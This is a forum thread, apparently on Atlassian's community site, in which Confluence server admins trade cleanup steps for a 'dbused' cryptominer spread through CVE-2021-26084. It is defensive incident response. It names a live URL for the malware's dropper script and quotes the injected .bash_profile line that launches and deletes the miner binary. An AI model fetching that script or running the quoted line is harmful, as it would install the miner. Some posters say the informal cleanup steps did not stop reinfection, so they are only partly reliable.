No access to Conlfuence Webpage, 100% CPU usage from "dbused"
Asked by DK:

Hello together,

I have the problem that I can't connect to my Confluence instance, which I host on a virtual machine. If I look into htop I see that the command "dbused" from the user "confluence" is using 100% CPU and a lot of RAM. I'm not able to find anything useful searching the web.

If I restart confluence or even the server this behaviour will start again after a few minutes. If I kill this process it will start again after a short time.

Does anybody know what to do about that or under what keyword I can search for a solution?

I'm sorry if I'm missing something basic. We are a small research institute and we don't have "real" IT admins who are hosting our servers, so I have to do it with only intermediate linux/server knowledge...

Best regards

Dennis


Answers:
author: Alex Rangeo
body: Sounds like a miner of some type. Here is some of the steps I've taken, along with upgrading Confluence to the latest LTS.

**Delete and Block access to a flagged file from Symantec -**

rm -rf /tmp/dbused

chmod -R 000 /tmp/.pwn

**Remove the cronjob that reloads the miner. It is running under the user that runs confluence.**

crontab -e

You will see a job running every minute that is clearly attempting to connect and run rouge bash commands

Then looked up the host that the cron job communicated with, and added firewall rules to block the traffic.

reboot

Upgrade to the latest LTS

comments: author: Scot Weir
body: Thank you [@Alex Rangeo](/t5/user/viewprofilepage/user-id/211873) , followed the above steps and Confluence has returned! Will be updating to LTS at the earliest opportunity.


author: pavel shvetsov
body: i was infected as well; you can read the "/tmp/xms" source script here

```
http://bash.givemexyz.in/xms 
```

and find out that its better to check all these files and folders

```
/etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down 
```

in my case i found crontab job inside \`/var/spool/cron/crontabs/confluence2\` file like Alex said


author: wirat_leenavonganan
body: I also found \`/var/spool/cron/crontabs/confluence\`


author: Trung Vu
body: The same isssue wwith Alex, it's come from everywhere. Is there any idea ?


author: DK
body: Thank you very much! It was indeed a miner. I think I could get rid of it.

Best regards

Dennis


author: Trung Vu
body: Hello [@TUHH-DKA](/t5/user/viewprofilepage/user-id/3762351) , i followed Alex steps, but it's still not fixed yet, can you provide some step.

The coinminer is automatic generate in /root/c3pool


author: moemneimne
body: Could this be the source <https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>?


author: Kamil Beer
body: Hey Alex, thanks. I did both of these, yet to no result. The cron file (and the result process) regenerates every minute.


author: Hanson Atlassian
body: I had the same issue where 'dbused' process consumed massive CPU except mine wasn't launched via crontab, this was injected into my 'confluence' user's .bash_profile:

*cp -f -r -- /tmp/.pwn/bprofr /tmp/dbused 2\>/dev/null \&\& /tmp/dbused -c \>/dev/null 2\>\&1 \&\& rm -rf -- /tmp/dbused 2\>/dev/null*

everytime 'confluence' user logged in the 'dbused' process launched then removed itself from filesystem


author: m_lang
body: It seems that we had to start Confluence after applying the patch, provided by atlassian.

Our steps:  

- Shut down confluence  
- Apply Bugfix patch  
- removed all cronjobs, located in /var/spool/cron/crontabs and /var/spool/cron/atjobs  
- removed suspicious files in /tmp   
- killed dbused process, via kill -9 \[pid\]  
- Start confluence

<br />

After confluence started the cronjob didn't regenerate under /var/spool/cron/crontabs. The dbused process was gone and no other suspicious files in /tmp.

comments: author: Daniel Stiven Ballen Garcia
body: De los archivos del /tmp cuales reconocen como maliciosos?


author: m_lang
body: I compared to another confluence instance, and the only folder there was: hsperfdata_confluence/

All other files owned by the confluence user were suspicious.

Without warranty, of course.


author: Kamil Beer Vodafone
body: Yeah, the confluence ownership is a giveaway, as the confluence user wouldn't have much of a reason to create the files there.


author: Robert Wen_ReleaseTEAM_
body: This sounds a lot like your Confluence server has a virus.

comments: author: Scot Weir
body: Ran into this issue as well today for the first time.

On Confluence restart attempt, logs reveal:

```
OpenJDK 64-Bit Server VM warning: INFO: os::commit_memory(0x00000000f6500000, 32505856, 0) failed; error='Cannot allocate memory' (errno=12)
#
# There is insufficient memory for the Java Runtime Environment to continue.
# Native memory allocation (mmap) failed to map 32505856 bytes for committing reserved memory.
# An error report file with more information is saved as:
# /tmp/hs_err_pid23285.log
```

free -m command shows memory dwindling slowly until approx 40MB available, then "resets" and begins the drain again.

We are running Confluence and Jira on AWS instances and truly do not want to move up to next size of instance type just to accommodate. I have tried making the recommended changes in the /tmp/hs_err_pid23285.log file with no success.

I have opened a support ticket with Atlassian in the meantime


author: Michael O'Brien
body: I have this issue as well starting at midnight on 1 Sept 2021 - bumping up my instance from 4g - but I was running fine on 70% ram utilization in the past  

actually it is kworker (crypto) - I left 0.0.0.0/0 open - locking down the security group firewall


author: Gustavo Jimenez
body: i have the same problem on differents machine with confluence on AWS, all these machine has a CPU consume 100% o more


author: Michael O'Brien
body: 20210901 crypto miner critical CVE - the patch worked for 2 weeks - restarted at 20210916:1800U - in the end upgrade from 6 to 7 LTS  
<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>

comments: author: James Waithe
body: Hi Michael

Are you saying that you applied the "atlassian workaround", but still got infected?

Thanks

Curious James


author: AlexThunder
body: maybe leftover cron or startup command?


author: James Waithe
body: Thanks


author: Michael O'Brien
body: Yes, I formally applied the workaround script in the CVE notice - totally fine for 2 weeks (before that in 1-6h the miner would restart). To be honest I was extremely busy with multiple contracts and right when I was to refer to one of my wiki pages - the site went down on the 1st. normally I would triage and mitigate - the workaround script worked well for 2 weeks. Good thing it has restarted my side project to have a static generated site using S3/lambda/api-gateway serverless. I also have the Atlassian confluence as a service but I like my own server/templates better. Anyway I purchased every license I could a couple months ago before the standalone license was deprecated. I used one of those licenses to keep my server going another year and updated from 6 to 7 - so far after a week I am good.  

so yes, the workaround is not sufficient - it did not fully mitigate (either left the script or allowed for reinfection) - you MUST upgrade to 7


author: AlexThunder
body: It patches the vulnerability in confluence so you won't get new malware, but can't really solve the malware for you.. our confluence is still fine 24 days later. They could have included more details on what kind of malware has used the breach and where to look, but that already goes into normal server management.. which, if you are using the on-premise version, should know how to handle yourself.

<https://tolisec.com/multi-vector-minertsunami-botnet-with-ssh-lateral-movement/>  
this has helped get some pointers on where to look


author: Trung Vu
body: The new coin miner type that i faced for this vulnerable:

/tmp/kdevtmpfsi

/tmp/syna -\> it's remove all your iptables rules /etc/hosts

So please upgrade your Conflunece ASAP if you can.


author: AlexThunder
body: <https://tolisec.com/multi-vector-minertsunami-botnet-with-ssh-lateral-movement/>  
this is also a good read about this malware. Will also apply the patch later. Seems like removing the crons and files don't help for long. It was fine for 1-2 hours, then i got another xmm monero crypto miner thing running with 100%. good thing they all get created in /tmp

comments: author: AlexThunder
body: oh yes. this patch <https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html> did it for me.


author: Kamil Beer
body: Hey everyone,

after some time struggling, it seems that, at least for some time, I have managed to shut the miner, or whatever it was, down, and get Confluence running. What I did I did in a very short time window.

1) I removed the cron entry for confluence, which was located in /var/spool/cron

2) I killed all the suspicious processes, like the dbused

3) I applied Atlassian's patch.

From then, dbuserd didn't start, nor did the cronfile generate again.

Finally, I removed all the suspicious files from /tmp.

I'm now going to apply the LTE version.

comments: author: Daniel Stiven Ballen Garcia
body: <https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>


author: Daniel Stiven Ballen Garcia
body: [@Kamil Beer](/t5/user/viewprofilepage/user-id/4363048) de los archivos que encontro en el /tmp cuales fueron sospechosos o que prefijo tenian?

Gracias


author: Kamil Beer Vodafone
body: [@Daniel Stiven Ballen Garcia](/t5/user/viewprofilepage/user-id/4247761), check how old they are, perhaps using "ls -lah". Most of the suspicious files were made on September 1st or 2nd (or whenever did this problem occur to you).


author: Kamil Beer
body: Same problem here. I delete the /var/spool/cron/confluence file, but it regenerates shortly and starts the dbused process again.

comments: author: Trung Vu
body: try reboot the server, then quickly remove it

/var/spool/cron/confluence

/tmp/dbused

/tmp/.pwn

check the location as above comment:

```
etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down 
```

upgrade the server to LTS version will help resolve it.


author: Kamil Beer Vodafone
body: [@Trung Vu](/t5/user/viewprofilepage/user-id/3100927), yeah. The cronfile, for me, generated in /var/spool/cron, with the confoluence user. Anyway, it seems I resolved it using the workaround, but will update to LTS soon anyway.


Tags: confluence-server

cve-2021-26084

server